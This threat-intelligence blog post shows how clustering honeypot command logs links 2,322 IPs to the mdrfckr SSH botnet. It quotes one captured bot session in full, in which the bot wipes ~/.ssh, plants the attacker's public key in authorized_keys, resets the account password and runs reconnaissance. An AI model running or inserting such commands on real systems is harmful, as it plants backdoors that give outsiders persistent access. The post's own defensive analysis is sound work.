Who's a mdrfckr? A Threat Intelligence Case Study

How locality-sensitive hashing over honeypot logs surfaces 2,322 IPs from a single botnet — and why we got lucky.

Attributing botnet activity to a single campaign is hard, and sometimes impossible [1]. Bots can rotate infrastructure, vary their payloads, or increasingly randomise their behaviour to evade attribution. Even when honeypots capture the activity, turning raw session logs into linked intelligence usually demands manual review of recurring patterns.

This post walks through a case where most of that analysis can be automated. The target is the mdrfckr botnet, an SSH-targeting campaign active since at least 2020 [2,3]. Using the threat intelligence tool GreedyBear [4] and its command sequence clustering feature, we identify 2,322 unique IP addresses associated with the campaign, and we explain why this particular case is unusually tractable.

The mdrfckr botnet

mdrfckr is an SSH brute-force botnet that has been observed in the wild since 2020 or earlier [2,3]. Its name comes from the trailing comment on the SSH public key the bot installs on compromised hosts. Once a bot gains access to an SSH service, it executes a near-identical sequence of commands: it appends its key to authorized_keys, sometimes alters local user accounts, and exits. We first encountered the botnet in GreedyBear, where a large number of near-identical command sequences captured by Cowrie, an SSH and Telnet honeypot [7], stood out from the rest. An example sequence:

//! code-id:mdrfckr-sequence
//! wrap-lines
cd ~; chattr -ia .ssh; lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz[...]KPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
cat /proc/cpuinfo | grep name | wc -l
//! highlight-next-line
echo -e "ircd123\\npafgQhxjlXgm\\npafgQhxjlXgm"|passwd|bash
Enter new UNIX password: 
echo "ircd123\\npafgQhxjlXgm\\npafgQhxjlXgm\\n"|passwd
cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
ls -lh $(which ls)
which ls
crontab -l
w
uname -m
cat /proc/cpuinfo | grep model | grep name | wc -l
top
uname
uname -a
whoami
lscpu | grep Model
df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

Clustering command sequences with GreedyBear

GreedyBear processes the commands attackers issue on a Cowrie SSH honeypot. By default, those command sequences are exposed through the API and the GreedyBear backend for inspection. A feature disabled by default extends this: command sequence clustering using locality-sensitive hashing (LSH) to group inputs that are similar but not identical and assign each cluster a unique integer label. A full treatment of LSH and why it suits near-duplicate detection is beyond this post; an excellent overview by Yury Kashnitsky [5] covers it. Applied to honeypot sessions, this lets us pivot from a single observed command sequence to the set of IP addresses producing similar sequences elsewhere in the dataset, without needing exact-match signatures or hand-crafted rules.

The mdrfckr campaign is well suited to the approach. Every bot performs broadly the same actions on login, varying only in incidental details such as the usernames and passwords it attempts to set. LSH tolerates that variation and assigns the same cluster label across the campaign.

Result: 2,322 IPs in one cluster

Querying the GreedyBear API for addresses sharing the mdrfckr cluster label returned 2,322 unique IPs, recorded over the course of three months by a Cowrie instance located at a data centre in Finland. That figure reflects one sensor’s view; the campaign’s true footprint is presumably larger. Each of these IPs can be examined further through GreedyBear’s per-IP records of observed activity, which supports building a richer picture of the campaign’s infrastructure.

Caveat: this case is particularly easy

Attribution was straightforward here for a reason worth stating plainly: the command sequence itself contains the botnet’s name, and the post-login behaviour barely changes between infections. The mdrfckr example demonstrates the mechanism, not a universal solution.

Defence is equally unremarkable: use strong SSH passwords (or better still, disable password authentication entirely), restrict exposure to known sources, and place SSH behind a VPN or bastion host where direct exposure is not required. mdrfckr brings no novel evasion that requires special handling.

It is worth treating mdrfckr as an in-the-wild toy case: clean enough to confirm the full clustering pipeline works end to end, and a useful baseline for reasoning about what richer adversaries do differently. The methodology, however, breaks down at the other end of the spectrum. Sophisticated adversaries, such as APT groups and targeted operators, do not present a stable behavioural fingerprint to cluster against: their activity is low volume, often hands-on-keyboard, and tailored to the target. LSH over command sequences offers little purchase here. Surfacing that kind of activity from honeypot data requires decoys realistic enough to draw sustained engagement and telemetry that captures more than shell input. This is the gap that motivates our work on Morphosis.

Conclusion

Command sequence clustering is a low-cost way to turn honeypot logs into threat intelligence when adversaries leave a stable behavioural signature. mdrfckr is a convenient demonstration case; the campaigns we care about most are not so accommodating.

Today GreedyBear supports only T-Pot as a data source. We are extending it into a universal honeypot data aggregator (a current Google Summer of Code 2026 project [8]), and once that work is complete we plan to evaluate it as the telemetry backbone for our own deception platform.

For details on enabling clustering and querying the API, see the GreedyBear wiki [6].

Follow our blog for further case studies on threat intelligence from deception infrastructure.